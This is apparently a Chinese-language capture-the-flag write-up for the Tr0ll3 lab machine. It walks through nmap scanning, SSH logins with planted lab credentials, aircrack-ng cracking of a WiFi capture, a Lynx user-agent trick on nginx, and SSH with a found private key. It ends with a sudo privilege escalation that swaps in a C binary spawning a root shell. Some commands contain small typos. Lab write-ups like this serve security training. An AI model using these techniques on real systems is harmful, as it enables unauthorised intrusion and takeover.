kali:192.138.174.137

信息收集

主机发现

nmap -sn 192.168.174.0/24

arp-scan -l

netdiscover -i eht0#比较慢

发现目标主机:192.168.174.156

端口扫描

nmap -A -p- 192.168.174.156

image-20240428225714640

只开放了22端口,昨天刚做完ssh敲门,试了下没什么提示,去搜别人的wp,发现它们能扫出来3个端口,嗯?,是我配置环境有问题吗。试试下面这个命令

nmap -p22 --script "default or safe" 192.168.174.156
  1. “default”脚本:这个脚本是nmap的默认脚本之一,用于执行一系列常规的端口扫描和服务探测。如开放的端口、运行的服务和版本等。
  2. “safe”脚本:这个脚本也是nmap的内置脚本之一,它执行一些安全性相关的扫描任务。它会检查目标主机是否存在已知的安全漏洞、弱密码、常见的网络配置错误等。

扫描完也没有发现什么信息,点开之前打卡的靶机,发现

Are you sure you want to do this? Login: start :here

试着登陆一下,发现真登上去了。。。

提权

登陆上shell后,id查看权限,ls -a看当前目录有什么文件

start@Tr0ll3:~$ ls
bluepill redpill
start@Tr0ll3:~$ id
uid=1001(start) gid=1001(start) groups=1001(start)

找到了两个文件,分别看看里面的内容,里面各有一个文件

#为了安全,先看看文件类型
file file_awesome_work
file this_weill_surely_work
  • -b  列出辨识结果时,不显示文件名称。
  • -c  详细显示指令执行过程,便于排错或分析程序执行的情形。
  • -f<名称文件>  指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。
  • -L  直接显示符号连接所指向的文件的类别。
  • -m<魔法数字文件>  指定魔法数字文件。
  • -v  显示版本信息。
  • -z  尝试去解读压缩文件的内容。
  • [文件或目录…] 要确定类型的文件列表,多个文件之间使用空格分开,可以使用shell通配符匹配多个文件。

再分别看两个文件的内容

#cat filename
start@Tr0ll3:~$ cat bluepill/awesome_work
http://bfy.tw/ODa
start@Tr0ll3:~$ cat redpill/this_will_surely_work
step2:Password1!

一个是网址,一个看起来像是账号密码

这里有个知识点

短链接还原

找了下,一些在线网站都挂了,但发现curl可以直接返回

curl -IL 链接
https://www.lmgtfy.app/?q=how+do+you+make+a+hacker+waste+time%3F

说是在浪费时间,估计正确的步骤是登陆另一个账户

ssh step2@192.168.174.156

密码输入,却说没有权限,试试在start那里提权试试

find / -type f -perm 0777 2>/dev/null
  1. -type f:该选项指定只搜索文件,而不搜索目录或其他类型的文件(如符号链接)。
  2. -perm 0777:该选项指定要搜索的文件的权限。在这种情况下,它查找权限设置为0777的文件。权限值0777表示具有读取、写入和执行权限的文件。

找到两个结果

/var/log/.dist-manage/wytshadow.cap
/.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt

这些目录构成了一句话,且hint是线索,看下那个txt文件里有什么信息

看起来像个密码字典,而第一个文件是一个数据包文件,我们先把他们复制到自己本机当前目录

#在本机kali执行以下两条命令
scp 192.168.56.152:/var/log/.dist-manage/wytshadow.cap .

scp start@192.168.56.152:/.hints/lol/rofl/roflmao/this/isnt/gonna/stop/anytime/soon/still/going/lol/annoyed/almost/there/jk/no/seriously/last/one/rofl/ok/ill/stop/however/this/is/fun/ok/here/rofl/sorry/you/made/it/gold_star.txt .

tcpdump

  • -n 禁止IP名称解析。
  • -nn 禁止IP和端口名称解析。
  • -i 指定捕获哪个网卡的网络数据包。
  • -w 指定将包写入哪个文件,如果文件不存在则创建该文件;如果存在则覆盖其内容。
  • -f 指定过滤表达式,例如指定捕获哪个端口,哪个协议等。
  • -r 指定从哪个文件读取网络数据包文件。
  • -F 指定使用哪个文件的过滤表达式抓包。
  • -D 列出所有可以使用tcpdump抓包的网卡。
  • -c 指定捕获或者读取包的个数,**-c**后面直接接数字即可。
  • -l 抓包时保存到文件的同时查看包的内容。
  • -t 不打印时间戳。
  • -tt 秒级时间戳。
  • -ttt 打印时间戳到微秒或者纳秒,取决于 –time-stamp-precision option 选项。
  • -s 指定每个包捕获的字节数。
  • -S 打印绝对的tcp序列号,而不是相对的序列号。
  • -v/-vv/-vvv 打印详细信息,v的个数越多, 打印内容越详细。

然后我们可以用这个命令来查看数据包的内容

tcpdump -nnttttAr wytshadow.cap | less -Sr
  • tcpdump:这是用于网络流量捕获和分析的命令行工具。
  • -n:此选项告诉 tcpdump 不要将 IP 地址解析为主机名,而是显示 IP 地址。
  • -ntttt:这些选项修改 tcpdump 的输出格式,使其显示更多的时间戳信息。每个 t 表示增加一个时间戳字段,总共有 5 个 t,表示显示五个时间戳字段。
  • -Ar wytshadow.cap:这部分指定要分析的捕获文件名为 wytshadow.cap-A 选项表示以 ASCII 文本形式显示数据包内容,而不是以十六进制显示。
  • less -Srless 是一个分页浏览器,用于查看长文本输出。-S 选项告诉 less 在折行时不折断长行,而是横向滚动显示内容。

发现是802.11协议,是wifi的协议,可能是wifi密码,可以用aircrack破解

scp完后这两个文件就被考到自己的目录下了,然后用txt作为字典,去破解cap包里的密码

aircrack-ng -w gold_star.txt wytshadow.cap

经过漫长的等待,发现密码

wytshadow:gaUoCe34t1

去连接以下这个用户

ssh sytshadow@192.168.174.156

然后发现目录下有个oohfun文件,file一下发现是ELF文件,linux下的可执行文件,执行以下一直打印,Lynx 是一个文本模式的 Web 浏览器,线索说明可能和浏览器相关

iM Cr@zY L1k3 AAA LYNX

让我们试试sudo -l看下有什么我们(执行 sudo 的使用者)的权限

sudo -l输入密码后
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wytshadow may run the following commands on Tr0ll3:
(root) /usr/sbin/service nginx start

这说明我们有可能启动nginx,sites-enabled 目录中存放的是链接文件,每个链接文件都指向 sites-available 目录中的配置文件,表示需要让 Nginx 启用哪些配置代理文件。

cd /etc/nginx/site-enable
cat default

看下网页有什么信息

server {
listen 8080 default_server;
listen [::]:8080 default_server;
if ($http_user_agent !~ "Lynx*"){
return 403;
}
root /var/nginx/www;

这里有两个信息,我们不妨先根据前面的lynx的线索,去看看8080端口有什么提示

netstat -antp#列出所有当前系统上的 TCP 连接,并显示每个连接的本地地址、外部地址、状态以及关联的进程信息

发现没有相关信息,可能是服务没启动,我们启动下nginx服务

sudo start service nginxs

再看看就可以发现有相关连接了,新建一个terminal,去看看这个服务的具体信息,结合前面的lynx说明我们可以利用这个命令访问一下这个网页

lynx 192.168.174.156:8080

得到一个新的账号

genphlux:HF9nd0cR!  

继续ssh连接,感觉就是一个ssh的无线套娃

genphlux@Tr0ll3:~$ file maleus 
maleus: PEM RSA private key
genphlux@Tr0ll3:~$ file xlogin
xlogin: HTML document, ASCII text

一个RSA私钥和一个什么login文件,前面那个文件里就是正常的密钥,而xlogin文件里面好像是一个网页

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /xlogin</title>
</head>
<body>
<h1>Index of /xlogin</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a></td><td>&nbsp;</td><td align="right"> - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="maleus">maleus</a></td><td align="right">2015-06-18 00:27 </td><td align="right">1.6K</td><td>&nbsp;</td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address>
</body></html>

都先保存到本地去看看,网页打开也是下载maleus文件,所以关键还是那个密钥文件,猜测用户名可能就是文件名

vim sshkey
chmod 600
ssh maleus@192.168.174.156 -i sshkey#学到了,用私钥登陆ssh

成功登陆,发现当前目录又是一个dont_even_bother的elf文件,执行以下说要输入密码,这时候又是神之一手

strings

strings dont_even_bother

strings 命令用于扫描二进制文件(如可执行文件、共享库、目标文件等),并提取其中的可打印字符串。这些字符串可能是程序中的文本、错误消息、调试信息、配置参数等。使用 strings 命令可以帮助分析二进制文件,查找其中的文本内容或敏感信息。

学到了

xl8Fpx%6
Correct Password

Your reward is just knowing you did it! :-P

然后我们ll以下,会发现多了个文件.viminfo,cat一下内容可以发现maleus的密码

B^slc8I$

sudo -l查看自己可用的权限

Matching Defaults entries for maleus on Tr0ll3:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User maleus may run the following commands on Tr0ll3:
(root) /home/maleus/dont_even_bother

提示我们通过个elf文件达到root权限,也快拿到了Tr0ll3的权限了,怎么做呢,我们可以删除这个文件,重新新建一个c文件,返回root的bash

rm  /home/maleus/dont_even_bother
vim /home/maleus/dont_even_bother

然后输入一下代码

int main(void) {
setgid(9);
setuid(0);
execl("/bin/sh","sh",0);
}
gcc dont_even_bother.c -dont_even_bother

因为maleus对这个文件具有root权限,所以可以通过修改这个文件,让他调用系统函数来达到提升权限的目的,然后就是去root目录下找flag了。

You are truly a Jedi!

Twitter Proof:

Pr00fThatTh3L33tHax0rG0tTheFl@g!!

@Maleus21